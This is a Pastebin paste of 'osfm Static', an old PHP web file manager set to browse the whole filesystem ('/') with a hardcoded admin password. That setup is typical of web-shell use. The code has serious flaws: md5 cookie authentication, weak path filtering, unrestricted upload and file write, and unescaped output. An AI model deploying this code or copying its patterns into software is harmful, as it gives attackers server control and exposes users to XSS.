Advertisement
Guest User

Untitled

a guest
Oct 17th, 2018
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.20 KB | None | 0 0
  1. <?php
  2. /****************************************************************/
  3. /* */
  4. /* osfm Static */
  5. /* ---------- */
  6. /* */
  7. /* This script will perform basic functions on files */
  8. /* Functions include, List, Open, View, Edit, Create, Upload, */
  9. /* Rename and Move. */
  10. /* */
  11. /* This version has had its SQL striped out of it. */
  12. /* */
  13. /* */
  14. /* Written by Devin Smith, July 1st 2003 */
  15. /* http://www.osfilemanager.com */
  16. /* http://www.arzy.net */
  17. /* */
  18. /****************************************************************/
  19.  
  20.  
  21. /****************************************************************/
  22. /* Config Section */
  23. /* */
  24. /* $adminfile - THIS filename. */
  25. /* $sitetitle - The title at the top of all pages. */
  26. /* $filefolder - The main folder to be browsing. */
  27. /* $user - The username required to login. */
  28. /* $pass - The password required to login. */
  29. /* $tbcolor1 - Color1 of TD on home. */
  30. /* $tbcolor2 - Color2 of TD on home. */
  31. /* $tbcolor3 - Top of home list. */
  32. /* $bgcolor1 - Main color of page. */
  33. /* $bgcolor2 - Color of page border. */
  34. /* $bgcolor3 - Color of textarea abd button borders. */
  35. /* $txtcolor1 - Color of Normal text and hovered links. */
  36. /* $txtcolor2 - Color of links. */
  37. /****************************************************************/
  38. $adminfile = $SCRIPT_NAME;
  39. $tbcolor1c = "#bacaee";
  40. $tbcolor2c = "#daeaff";
  41. $tbcolor3c = "#7080dd";
  42. $bgcolor1c = "#ffffff";
  43. $bgcolor2c = "#a6a6a6";
  44. $bgcolor3c = "#003399";
  45. $txtcolor1c = "#000000";
  46. $txtcolor2c = "#003399";
  47. $filefolder = "/";
  48. $sitetitle = 'hello word';
  49. $user = 'admin';
  50. $pass = 'adminhr';
  51.  
  52.  
  53.  
  54. if (!$tbcolor1) $tbcolor1 = $tbcolor1c;
  55. if (!$tbcolor2) $tbcolor2 = $tbcolor2c;
  56. if (!$tbcolor3) $tbcolor3 = $tbcolor3c;
  57. if (!$bgcolor1) $bgcolor1 = $bgcolor1c;
  58. if (!$bgcolor2) $bgcolor2 = $bgcolor2c;
  59. if (!$bgcolor3) $bgcolor3 = $bgcolor3c;
  60. if (!$txtcolor1) $txtcolor1 = $txtcolor1c;
  61. if (!$txtcolor2) $txtcolor2 = $txtcolor2c;
  62.  
  63. $op = $_REQUEST['op'];
  64. $folder = $_REQUEST['folder'];
  65. while (preg_match('/\.\.\//',$folder)) $folder = preg_replace('/\.\.\//','/',$folder);
  66. while (preg_match('/\/\//',$folder)) $folder = preg_replace('/\/\//','/',$folder);
  67.  
  68. if ($folder == '') {
  69. $folder = $filefolder;
  70. } elseif ($filefolder != '') {
  71. if (!ereg($filefolder,$folder)) {
  72. $folder = $filefolder;
  73. }
  74. }
  75.  
  76.  
  77. /****************************************************************/
  78. /* User identification */
  79. /* */
  80. /* Looks for cookies. Yum. */
  81. /****************************************************************/
  82.  
  83. if ($_COOKIE['user'] != $user || $_COOKIE['pass'] != md5($pass)) {
  84. if ($_REQUEST['user'] == $user && $_REQUEST['pass'] == $pass) {
  85. setcookie('user',$user,time()+60*60*24*1);
  86. setcookie('pass',md5($pass),time()+60*60*24*1);
  87. } else {
  88. if ($_REQUEST['user'] == $user || $_REQUEST['pass']) $er = true;
  89. login($er);
  90. }
  91. }
  92.  
  93.  
  94.  
  95. /****************************************************************/
  96. /* function maintop() */
  97. /* */
  98. /* Controls the style and look of the site. */
  99. /* Recieves $title and displayes it in the title and top. */
  100. /****************************************************************/
  101. function maintop($title,$showtop = true) {
  102. global $sitetitle, $lastsess, $login, $viewing, $iftop, $bgcolor1, $bgcolor2, $bgcolor3, $txtcolor1, $txtcolor2, $user, $pass, $password, $debug, $issuper;
  103. echo "<html>\n<head>\n"
  104. ."<title>$sitetitle :: $title</title>\n"
  105. ."</head>\n"
  106. ."<body bgcolor=\"#ffffff\">\n"
  107. ."<style>\n"
  108. ."td { font-size : 80%;font-family : tahoma;color: $txtcolor1;font-weight: 700;}\n"
  109. ."A:visited {color: \"$txtcolor2\";font-weight: bold;text-decoration: underline;}\n"
  110. ."A:hover {color: \"$txtcolor1\";font-weight: bold;text-decoration: underline;}\n"
  111. ."A:link {color: \"$txtcolor2\";font-weight: bold;text-decoration: underline;}\n"
  112. ."A:active {color: \"$bgcolor2\";font-weight: bold;text-decoration: underline;}\n"
  113. ."textarea {border: 1px solid $bgcolor3 ;color: black;background-color: white;}\n"
  114. ."input.button{border: 1px solid $bgcolor3;color: black;background-color: white;}\n"
  115. ."input.text{border: 1px solid $bgcolor3;color: black;background-color: white;}\n"
  116. ."BODY {color: $txtcolor1; FONT-SIZE: 10pt; FONT-FAMILY: Tahoma, Verdana, Arial, Helvetica, sans-serif; scrollbar-base-color: $bgcolor2; MARGIN: 0px 0px 10px; BACKGROUND-COLOR: $bgcolor1}\n"
  117. .".title {FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: #000000; TEXT-ALIGN: center; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}\n"
  118. .".copyright {FONT-SIZE: 8pt; COLOR: #000000; TEXT-ALIGN: left}\n"
  119. .".error {FONT-SIZE: 10pt; COLOR: #AA2222; TEXT-ALIGN: left}\n"
  120. ."</style>\n\n";
  121.  
  122. if ($viewing == "") {
  123. echo "<table cellpadding=10 cellspacing=10 bgcolor=$bgcolor1 align=center><tr><td>\n"
  124. ."<table cellpadding=1 cellspacing=1 bgcolor=$bgcolor2><tr><td>\n"
  125. ."<table cellpadding=5 cellspacing=5 bgcolor=$bgcolor1><tr><td>\n";
  126. } else {
  127. echo "<table cellpadding=7 cellspacing=7 bgcolor=$bgcolor1><tr><td>\n";
  128. }
  129.  
  130. echo "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\">\n"
  131. ."<tr><td align=\"left\"><font face=\"Arial\" color=\"black\" size=\"4\">$sitetitle</font><font size=\"3\" color=\"black\"> :: $title</font></td>\n"
  132. ."<tr><td width=650 style=\"height: 1px;\" bgcolor=\"black\"></td></tr>\n";
  133.  
  134. if ($showtop) {
  135. echo "<tr><td><font size=\"2\">\n"
  136. ."<a href=\"".$adminfile."?op=home\" $iftop>Home</a>\n"
  137. ."<img src=pixel.gif width=7 height=1><a href=\"".$adminfile."?op=up\" $iftop>Upload</a>\n"
  138. ."<img src=pixel.gif width=7 height=1><a href=\"".$adminfile."?op=cr\" $iftop>Create</a>\n"
  139. ."<img src=pixel.gif width=7 height=1><a href=\"".$adminfile."?op=logout\" $iftop>Logout</a>\n";
  140.  
  141. echo "<tr><td width=650 style=\"height: 1px;\" bgcolor=\"black\"></td></tr>\n";
  142. }
  143. echo "</table><br>\n";
  144. }
  145.  
  146.  
  147. /****************************************************************/
  148. /* function login() */
  149. /* */
  150. /* Sets the cookies and alows user to log in. */
  151. /* Recieves $pass as the user entered password. */
  152. /****************************************************************/
  153. function login($er=false) {
  154. global $op;
  155. setcookie("user","",time()-60*60*24*1);
  156. setcookie("pass","",time()-60*60*24*1);
  157. maintop("Login",false);
  158.  
  159. if ($er) {
  160. echo "<font class=error>**ERROR: Incorrect login information.**</font><br><br>\n";
  161. }
  162.  
  163. echo "<form action=\"".$adminfile."?op=".$op."\" method=\"post\">\n"
  164. ."<table><tr>\n"
  165. ."<td><font size=\"2\">Username: </font>"
  166. ."<td><input type=\"text\" name=\"user\" size=\"18\" border=\"0\" class=\"text\" value=\"$user\">\n"
  167. ."<tr><td><font size=\"2\">Password: </font>\n"
  168. ."<td><input type=\"password\" name=\"pass\" size=\"18\" border=\"0\" class=\"text\" value=\"$pass\">\n"
  169. ."<tr><td colspan=\"2\"><input type=\"submit\" name=\"submitButtonName\" value=\"Login\" border=\"0\" class=\"button\">\n"
  170. ."</table>\n"
  171. ."</form>\n";
  172. mainbottom();
  173.  
  174. }
  175.  
  176.  
  177. /****************************************************************/
  178. /* function home() */
  179. /* */
  180. /* Main function that displays contents of folders. */
  181. /****************************************************************/
  182. function home() {
  183. global $folder, $tbcolor1, $tbcolor2, $tbcolor3, $filefolder, $HTTP_HOST;
  184. maintop("Home");
  185. echo "<font face=\"tahoma\" size=\"2\"><b>\n"
  186. ."<table border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=100%>\n";
  187.  
  188. $content1 = "";
  189. $content2 = "";
  190.  
  191. $count = "0";
  192. $style = opendir($folder);
  193. $a=1;
  194. $b=1;
  195.  
  196. if ($folder) {
  197. if (ereg("/home/",$folder)) {
  198. $folderx = ereg_replace("$filefolder", "", $folder);
  199. $folderx = "http://".$HTTP_HOST."/".$folderx;
  200. } else {
  201. $folderx = $folder;
  202. }
  203. }
  204.  
  205. while($stylesheet = readdir($style)) {
  206. if (strlen($stylesheet)>40) {
  207. $sstylesheet = substr($stylesheet,0,40)."...";
  208. } else {
  209. $sstylesheet = $stylesheet;
  210. }
  211. if ($stylesheet[0] != "." && $stylesheet[0] != ".." ) {
  212. if (is_dir($folder.$stylesheet) && is_readable($folder.$stylesheet)) {
  213. $content1[$a] ="<td>".$sstylesheet."</td>\n"
  214. ."<td> "
  215. //.disk_total_space($folder.$stylesheet)." Commented out due to certain problems
  216. ."<td align=\"center\"><a href=\"".$adminfile."?op=home&folder=".$folder.$stylesheet."/\">Open</a>\n"
  217. ."<td align=\"center\"><a href=\"".$adminfile."?op=ren&file=".$stylesheet."&folder=$folder\">Rename</a>\n"
  218. ."<td align=\"center\"><a href=\"".$adminfile."?op=del&dename=".$stylesheet."&folder=$folder\">Delete</a>\n"
  219. ."<td align=\"center\"><a href=\"".$adminfile."?op=mov&file=".$stylesheet."&folder=$folder\">Move</a>\n"
  220. ."<td align=\"center\"> <tr height=\"2\"><td height=\"2\" colspan=\"3\">\n";
  221. $a++;
  222. } elseif (!is_dir($folder.$stylesheet) && is_readable($folder.$stylesheet)) {
  223. $content2[$b] ="<td><a href=\"".$folderx.$stylesheet."\">".$sstylesheet."</a></td>\n"
  224. ."<td align=\"left\"><img src=pixel.gif width=5 height=1>".filesize($folder.$stylesheet)
  225. ."<td align=\"center\"><a href=\"".$adminfile."?op=edit&fename=".$stylesheet."&folder=$folder\">Edit</a>\n"
  226. ."<td align=\"center\"><a href=\"".$adminfile."?op=ren&file=".$stylesheet."&folder=$folder\">Rename</a>\n"
  227. ."<td align=\"center\"><a href=\"".$adminfile."?op=del&dename=".$stylesheet."&folder=$folder\">Delete</a>\n"
  228. ."<td align=\"center\"><a href=\"".$adminfile."?op=mov&file=".$stylesheet."&folder=$folder\">Move</a>\n"
  229. ."<td align=\"center\"><a href=\"".$adminfile."?op=viewframe&file=".$stylesheet."&folder=$folder\">View</a>\n"
  230. ."<tr height=\"2\"><td height=\"2\" colspan=\"3\">\n";
  231. $b++;
  232. } else {
  233. echo "Directory is unreadable\n";
  234. }
  235. $count++;
  236. }
  237. }
  238. closedir($style);
  239.  
  240. echo "Browsing: $folder\n"
  241. ."<br>Number of Files: " . $count . "<br><br>";
  242.  
  243. echo "<tr bgcolor=\"$tbcolor3\" width=100%>"
  244. ."<td width=300>Filename\n"
  245. ."<td width=65>Size\n"
  246. ."<td align=\"center\" width=44>Open\n"
  247. ."<td align=\"center\" width=58>Rename\n"
  248. ."<td align=\"center\" width=57>Delete\n"
  249. ."<td align=\"center\" width=40>Move\n"
  250. ."<td align=\"center\" width=44>View\n"
  251. ."<tr height=\"2\"><td height=\"2\" colspan=\"3\">\n";
  252.  
  253. for ($a=1; $a<count($content1)+1;$a++) {
  254. $tcoloring = ($a % 2) ? $tbcolor1 : $tbcolor2;
  255. echo "<tr bgcolor=".$tcoloring." width=100%>";
  256. echo $content1[$a];
  257. }
  258.  
  259. for ($b=1; $b<count($content2)+1;$b++) {
  260. $tcoloring = ($a++ % 2) ? $tbcolor1 : $tbcolor2;
  261. echo "<tr bgcolor=".$tcoloring." width=100%>";
  262. echo $content2[$b];
  263. }
  264.  
  265. echo"</table>";
  266. mainbottom();
  267. }
  268.  
  269.  
  270. /****************************************************************/
  271. /* function up() */
  272. /* */
  273. /* First step to Upload. */
  274. /* User enters a file and the submits it to upload() */
  275. /****************************************************************/
  276. function up() {
  277. global $folder, $content, $filefolder;
  278. maintop("Upload");
  279.  
  280. echo "<FORM ENCTYPE=\"multipart/form-data\" ACTION=\"".$adminfile."?op=upload\" METHOD=\"POST\">\n"
  281. ."<font face=\"tahoma\" size=\"2\"><b>File:</b></font><br><input type=\"File\" name=\"upfile\" size=\"20\" class=\"text\">\n"
  282.  
  283. ."<br><br>Destination:<br><select name=\"ndir\" size=1>\n"
  284. ."<option value=\"".$filefolder."\">".$filefolder."</option>";
  285. listdir($filefolder);
  286. echo $content
  287. ."</select><br><br>"
  288.  
  289. ."<input type=\"submit\" value=\"Upload\" class=\"button\">\n"
  290. ."</form>\n";
  291.  
  292. mainbottom();
  293. }
  294.  
  295.  
  296. /****************************************************************/
  297. /* function upload() */
  298. /* */
  299. /* Sencond step in upload. */
  300. /* Saves the file to the disk. */
  301. /* Recieves $upfile from up() as the uploaded file. */
  302. /****************************************************************/
  303. function upload($upfile, $ndir) {
  304.  
  305. global $folder;
  306. if (!$upfile) {
  307. error("Filesize too big or bytes=0");
  308. } elseif($upfile['name']) {
  309. if(copy($upfile['tmp_name'],$ndir.$upfile['name'])) {
  310. maintop("Upload");
  311. echo "The file ".$upfile['name'].$folder.$upfile_name." uploaded successfully.\n";
  312. mainbottom();
  313. } else {
  314. printerror("File $upfile failed to upload.");
  315. }
  316. } else {
  317. printerror("Please enter a filename.");
  318. }
  319. }
  320.  
  321.  
  322. /****************************************************************/
  323. /* function del() */
  324. /* */
  325. /* First step in delete. */
  326. /* Prompts the user for confirmation. */
  327. /* Recieves $dename and ask for deletion confirmation. */
  328. /****************************************************************/
  329. function del($dename) {
  330. global $folder;
  331. if (!$dename == "") {
  332. maintop("Delete");
  333. echo "<table border=\"0\" cellpadding=\"2\" cellspacing=\"0\">\n"
  334. ."<font class=error>**WARNING: This will permanatly delete ".$folder.$dename.". This action is irreversable.**</font><br><br>\n"
  335. ."Are you sure you want to delete ".$folder.$dename."?<br><br>\n"
  336. ."<a href=\"".$adminfile."?op=delete&dename=".$dename."&folder=$folder\">Yes</a> | \n"
  337. ."<a href=\"".$adminfile."?op=home\"> No </a>\n"
  338. ."</table>\n";
  339. mainbottom();
  340. } else {
  341. home();
  342. }
  343. }
  344.  
  345.  
  346. /****************************************************************/
  347. /* function delete() */
  348. /* */
  349. /* Second step in delete. */
  350. /* Deletes the actual file from disk. */
  351. /* Recieves $upfile from up() as the uploaded file. */
  352. /****************************************************************/
  353. function delete($dename) {
  354. global $folder;
  355. if (!$dename == "") {
  356. maintop("Delete");
  357. if (is_dir($folder.$dename)) {
  358. if(rmdir($folder.$dename)) {
  359. echo $dename." has been deleted.";
  360. } else {
  361. echo "There was a problem deleting this directory. ";
  362. }
  363. } else {
  364. if(unlink($folder.$dename)) {
  365. echo $dename." has been deleted.";
  366. } else {
  367. echo "There was a problem deleting this file. ";
  368. }
  369. }
  370. mainbottom();
  371. } else {
  372. home();
  373. }
  374. }
  375.  
  376.  
  377. /****************************************************************/
  378. /* function edit() */
  379. /* */
  380. /* First step in edit. */
  381. /* Reads the file from disk and displays it to be edited. */
  382. /* Recieves $upfile from up() as the uploaded file. */
  383. /****************************************************************/
  384. function edit($fename) {
  385. global $folder;
  386. if (!$fename == "") {
  387. maintop("Edit");
  388. echo $folder.$fename;
  389.  
  390. echo "<form action=\"".$adminfile."?op=save\" method=\"post\">\n"
  391. ."<textarea cols=\"73\" rows=\"40\" name=\"ncontent\">\n";
  392.  
  393. $handle = fopen ($folder.$fename, "r");
  394. $contents = "";
  395.  
  396. while ($x<1) {
  397. $data = @fread ($handle, filesize ($folder.$fename));
  398. if (strlen($data) == 0) {
  399. break;
  400. }
  401. $contents .= $data;
  402. }
  403. fclose ($handle);
  404.  
  405. $replace1 = "</text";
  406. $replace2 = "area>";
  407. $replace3 = "< / text";
  408. $replace4 = "area>";
  409. $replacea = $replace1.$replace2;
  410. $replaceb = $replace3.$replace4;
  411. $contents = ereg_replace ($replacea,$replaceb,$contents);
  412.  
  413. echo $contents;
  414.  
  415. echo "</textarea>\n"
  416. ."<br><br>\n"
  417. ."<input type=\"hidden\" name=\"folder\" value=\"".$folder."\">\n"
  418. ."<input type=\"hidden\" name=\"fename\" value=\"".$fename."\">\n"
  419. ."<input type=\"submit\" value=\"Edit\" class=\"button\">\n"
  420. ."</form>\n";
  421. mainbottom();
  422. } else {
  423. home();
  424. }
  425. }
  426.  
  427.  
  428. /****************************************************************/
  429. /* function save() */
  430. /* */
  431. /* Second step in edit. */
  432. /* Recieves $ncontent from edit() as the file content. */
  433. /* Recieves $fename from edit() as the file name to modify. */
  434. /****************************************************************/
  435. function save($ncontent, $fename) {
  436. global $folder;
  437. if (!$fename == "") {
  438. maintop("Edit");
  439. $loc = $folder.$fename;
  440. $fp = fopen($loc, "w");
  441.  
  442. $replace1 = "</text";
  443. $replace2 = "area>";
  444. $replace3 = "< / text";
  445. $replace4 = "area>";
  446. $replacea = $replace1.$replace2;
  447. $replaceb = $replace3.$replace4;
  448. $ncontent = ereg_replace ($replaceb,$replacea,$ncontent);
  449.  
  450. $ydata = stripslashes($ncontent);
  451.  
  452. if(fwrite($fp, $ydata)) {
  453. echo "The file <a href=\"".$adminfile."?op=viewframe&file=".$fename."&folder=".$folder."\">".$folder.$fename."</a> was succesfully edited\n";
  454. $fp = null;
  455. } else {
  456. echo "There was a problem editing this file\n";
  457. }
  458. mainbottom();
  459. } else {
  460. home();
  461. }
  462. }
  463.  
  464.  
  465. /****************************************************************/
  466. /* function cr() */
  467. /* */
  468. /* First step in create. */
  469. /* Promts the user to a filename and file/directory switch. */
  470. /****************************************************************/
  471. function cr() {
  472. global $folder, $content, $filefolder;
  473. maintop("Create");
  474. if (!$content == "") { echo "<br><br>Please enter a filename.\n"; }
  475. echo "<form action=\"".$adminfile."?op=create\" method=\"post\">\n"
  476. ."Filename: <br><input type=\"text\" size=\"20\" name=\"nfname\" class=\"text\"><br><br>\n"
  477.  
  478. ."Destination:<br><select name=ndir size=1>\n"
  479. ."<option value=\"".$filefolder."\">".$filefolder."</option>";
  480. listdir($filefolder);
  481. echo $content
  482. ."</select><br><br>";
  483.  
  484.  
  485. echo "File <input type=\"radio\" size=\"20\" name=\"isfolder\" value=\"0\" checked><br>\n"
  486. ."Directory <input type=\"radio\" size=\"20\" name=\"isfolder\" value=\"1\"><br><br>\n"
  487. ."<input type=\"hidden\" name=\"folder\" value=\"$folder\">\n"
  488. ."<input type=\"submit\" value=\"Create\" class=\"button\">\n"
  489. ."</form>\n";
  490. mainbottom();
  491. }
  492.  
  493.  
  494. /****************************************************************/
  495. /* function create() */
  496. /* */
  497. /* Second step in create. */
  498. /* Creates the file/directoy on disk. */
  499. /* Recieves $nfname from cr() as the filename. */
  500. /* Recieves $infolder from cr() to determine file trpe. */
  501. /****************************************************************/
  502. function create($nfname, $isfolder, $ndir) {
  503. global $folder;
  504. if (!$nfname == "") {
  505. maintop("Create");
  506.  
  507. if ($isfolder == 1) {
  508. if(mkdir($ndir."/".$nfname, 0777)) {
  509. echo "Your directory, <a href=\"".$adminfile."?op=viewframe&file=".$nfname."&folder=$ndir\">".$ndir."/".$nfname."</a> was succesfully created.\n";
  510. } else {
  511. echo "The directory, ".$ndir."/".$nfname." could not be created. Check to make sure the permisions on the /files directory is set to 777\n";
  512. }
  513. } else {
  514. if(fopen($ndir."/".$nfname, "w")) {
  515. echo "Your file, <a href=\"".$adminfile."?op=viewframe&file=".$nfname."&folder=$ndir\">".$ndir.$nfname."</a> was succesfully created.\n";
  516. } else {
  517. echo "The file, ".$ndir."/".$nfname." could not be created. Check to make sure the permisions on the /files directory is set to 777\n";
  518. }
  519. }
  520. mainbottom();
  521. } else {
  522. cr();
  523. }
  524. }
  525.  
  526.  
  527. /****************************************************************/
  528. /* function ren() */
  529. /* */
  530. /* First step in rename. */
  531. /* Promts the user for new filename. */
  532. /* Globals $file and $folder for filename. */
  533. /****************************************************************/
  534. function ren($file) {
  535. global $folder;
  536. if (!$file == "") {
  537. maintop("Rename");
  538. echo "<form action=\"".$adminfile."?op=rename\" method=\"post\">\n"
  539. ."<table border=\"0\" cellpadding=\"2\" cellspacing=\"0\">\n"
  540. ."Renaming ".$folder.$file;
  541.  
  542. echo "</table><br>\n"
  543. ."<input type=\"hidden\" name=\"rename\" value=\"".$file."\">\n"
  544. ."<input type=\"hidden\" name=\"folder\" value=\"".$folder."\">\n"
  545. ."New Name:<br><input class=\"text\" type=\"text\" size=\"20\" name=\"nrename\">\n"
  546. ."<input type=\"Submit\" value=\"Rename\" class=\"button\">\n";
  547. mainbottom();
  548. } else {
  549. home();
  550. }
  551. }
  552.  
  553.  
  554. /****************************************************************/
  555. /* function renam() */
  556. /* */
  557. /* Second step in rename. */
  558. /* Rename the specified file. */
  559. /* Recieves $rename from ren() as the old filename. */
  560. /* Recieves $nrename from ren() as the new filename. */
  561. /****************************************************************/
  562. function renam($rename, $nrename, $folder) {
  563. global $folder;
  564. if (!$rename == "") {
  565. maintop("Rename");
  566. $loc1 = "$folder".$rename;
  567. $loc2 = "$folder".$nrename;
  568.  
  569. if(rename($loc1,$loc2)) {
  570. echo "The file ".$folder.$rename." has been changed to <a href=\"".$adminfile."?op=viewframe&file=".$nrename."&folder=$folder\">".$folder.$nrename."</a>\n";
  571. } else {
  572. echo "There was a problem renaming this file\n";
  573. }
  574. mainbottom();
  575. } else {
  576. home();
  577. }
  578. }
  579.  
  580.  
  581. /****************************************************************/
  582. /* function listdir() */
  583. /* */
  584. /* Recursivly lists directories and sub-directories. */
  585. /* Recieves $dir as the directory to scan through. */
  586. /****************************************************************/
  587. function listdir($dir, $level_count = 0) {
  588. global $content;
  589. if (!@($thisdir = opendir($dir))) { return; }
  590. while ($item = readdir($thisdir) ) {
  591. if (is_dir("$dir/$item") && (substr("$item", 0, 1) != '.')) {
  592. listdir("$dir/$item", $level_count + 1);
  593. }
  594. }
  595. if ($level_count > 0) {
  596. $dir = ereg_replace("[/][/]", "/", $dir);
  597. $content .= "<option value=\"".$dir."/\">".$dir."/</option>";
  598. }
  599. }
  600.  
  601.  
  602. /****************************************************************/
  603. /* function mov() */
  604. /* */
  605. /* First step in move. */
  606. /* Prompts the user for destination path. */
  607. /* Recieves $file and sends to move(). */
  608. /****************************************************************/
  609. function mov($file) {
  610. global $folder, $content, $filefolder;
  611. if (!$file == "") {
  612. maintop("Move");
  613. echo "<form action=\"".$adminfile."?op=move\" method=\"post\">\n"
  614. ."<table border=\"0\" cellpadding=\"2\" cellspacing=\"0\">\n"
  615. ."Move ".$folder.$file." to:\n"
  616. ."<select name=ndir size=1>\n"
  617. ."<option value=\"".$filefolder."\">".$filefolder."</option>";
  618. listdir($filefolder);
  619. echo $content
  620. ."</select>"
  621. ."</table><br><input type=\"hidden\" name=\"file\" value=\"".$file."\">\n"
  622. ."<input type=\"hidden\" name=\"folder\" value=\"".$folder."\">\n"
  623. ."<input type=\"Submit\" value=\"Move\" class=\"button\">\n";
  624. mainbottom();
  625. } else {
  626. home();
  627. }
  628. }
  629.  
  630.  
  631. /****************************************************************/
  632. /* function move() */
  633. /* */
  634. /* Second step in move. */
  635. /* Moves the oldfile to the new one. */
  636. /* Recieves $file and $ndir and creates $file.$ndir */
  637. /****************************************************************/
  638. function move($file, $ndir, $folder) {
  639. global $folder;
  640. if (!$file == "") {
  641. maintop("Move");
  642. if (rename($folder.$file, $ndir.$file)) {
  643. echo $folder.$file." has been succesfully moved to ".$ndir.$file;
  644. } else {
  645. echo "There was an error moving ".$folder.$file;
  646. }
  647. mainbottom();
  648. } else {
  649. home();
  650. }
  651. }
  652.  
  653.  
  654. /****************************************************************/
  655. /* function viewframe() */
  656. /* */
  657. /* First step in viewframe. */
  658. /* Takes the specified file and displays it in a frame. */
  659. /* Recieves $file and sends it to viewtop */
  660. /****************************************************************/
  661. function viewframe($file) {
  662. global $sitetitle, $folder, $HTTP_HOST, $filefolder;
  663. if ($filefolder == "/") {
  664. $error="**ERROR: You selected to view $file but your home directory is /.**";
  665. printerror($error);
  666. die();
  667. } elseif (ereg("/home/",$folder)) {
  668. $folderx = ereg_replace("$filefolder", "", $folder);
  669. $folder = "http://".$HTTP_HOST."/".$folderx;
  670. }
  671. echo "<html>\n"
  672. ."<head>\n"
  673. ."<title>$sitetitle :: Viewing file - $file</title>\n"
  674. ."</head>\n\n"
  675.  
  676. ."<frameset rows=\"85,*\" frameborder=\"no\">\n"
  677. ."<frame name=\"top\" noresize src=\"".$adminfile."?op=viewtop&file=$file\" scrolling=\"no\">\n"
  678. ."<frame name=\"content\" noresize src=\"".$folder.$file."\">\n"
  679. ."</frameset>\n\n"
  680.  
  681. ."<body>\n"
  682. ."</body>\n"
  683. ."</html>\n";
  684. }
  685.  
  686.  
  687. /****************************************************************/
  688. /* function viewtop() */
  689. /* */
  690. /* Second step in viewframe. */
  691. /* Controls the top bar on the viewframe. */
  692. /* Recieves $file from viewtop. */
  693. /****************************************************************/
  694. function viewtop($file) {
  695. global $viewing, $iftop;
  696. $viewing = "yes";
  697. $iftop = "target=_top";
  698. maintop("Viewing file - $file");
  699. }
  700.  
  701.  
  702. /****************************************************************/
  703. /* function logout() */
  704. /* */
  705. /* Logs the user out and kills cookies */
  706. /****************************************************************/
  707. function logout() {
  708. global $login;
  709. setcookie("user","",time()-60*60*24*1);
  710. setcookie("pass","",time()-60*60*24*1);
  711.  
  712. maintop("Logout",false);
  713. echo "Your are now logged out."
  714. ."<br><br>"
  715. ."<a href=".$adminfile."?op=home>Click here to Log in again</a>";
  716. mainbottom();
  717. }
  718.  
  719.  
  720. /****************************************************************/
  721. /* function mainbottom() */
  722. /* */
  723. /* Controls the bottom copyright. */
  724. /****************************************************************/
  725. function mainbottom() {
  726. echo "</table></table>\n"
  727. ."<table width=100%><tr><td align=right><font class=copyright>Copyright &copy 2003 - ".date('Y')." <a href=http://www.osfilemanager.com>osFileManager</a>, <a href=http://www.arzy.net>Arzy, LLC</a></font></table>\n"
  728. ."</table></table></body>\n"
  729. ."</html>\n";
  730. exit;
  731. }
  732.  
  733.  
  734. /****************************************************************/
  735. /* function printerror() */
  736. /* */
  737. /* Prints error onto screen */
  738. /* Recieves $error and prints it. */
  739. /****************************************************************/
  740. function printerror($error) {
  741. maintop("ERROR");
  742. echo "<font class=error>\n".$error."\n</font>";
  743. mainbottom();
  744. }
  745.  
  746.  
  747. /****************************************************************/
  748. /* function switch() */
  749. /* */
  750. /* Switches functions. */
  751. /* Recieves $op() and switches to it *.
  752. /****************************************************************/
  753. switch($op) {
  754.  
  755. case "home":
  756. home();
  757. break;
  758.  
  759. case "up":
  760. up();
  761. break;
  762.  
  763. case "upload":
  764. upload($_FILES['upfile'], $_REQUEST['ndir']);
  765. break;
  766.  
  767. case "del":
  768. del($_REQUEST['dename']);
  769. break;
  770.  
  771. case "delete":
  772. delete($_REQUEST['dename']);
  773. break;
  774.  
  775. case "edit":
  776. edit($_REQUEST['fename']);
  777. break;
  778.  
  779. case "save":
  780. save($_REQUEST['ncontent'], $_REQUEST['fename']);
  781. break;
  782.  
  783. case "cr":
  784. cr();
  785. break;
  786.  
  787. case "create":
  788. create($_REQUEST['nfname'], $_REQUEST['isfolder'], $_REQUEST['ndir']);
  789. break;
  790.  
  791. case "ren":
  792. ren($_REQUEST['file']);
  793. break;
  794.  
  795. case "rename":
  796. renam($_REQUEST['rename'], $_REQUEST['nrename'], $folder);
  797. break;
  798.  
  799. case "mov":
  800. mov($_REQUEST['file']);
  801. break;
  802.  
  803. case "move":
  804. move($_REQUEST['file'], $_REQUEST['ndir'], $folder);
  805. break;
  806.  
  807. case "viewframe":
  808. viewframe($_REQUEST['file']);
  809. break;
  810.  
  811. case "viewtop":
  812. viewtop($_REQUEST['file']);
  813. break;
  814.  
  815. case "printerror":
  816. printerror($error);
  817. break;
  818.  
  819. case "logout":
  820. logout();
  821. break;
  822.  
  823. default:
  824. home();
  825. break;
  826. }
  827. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement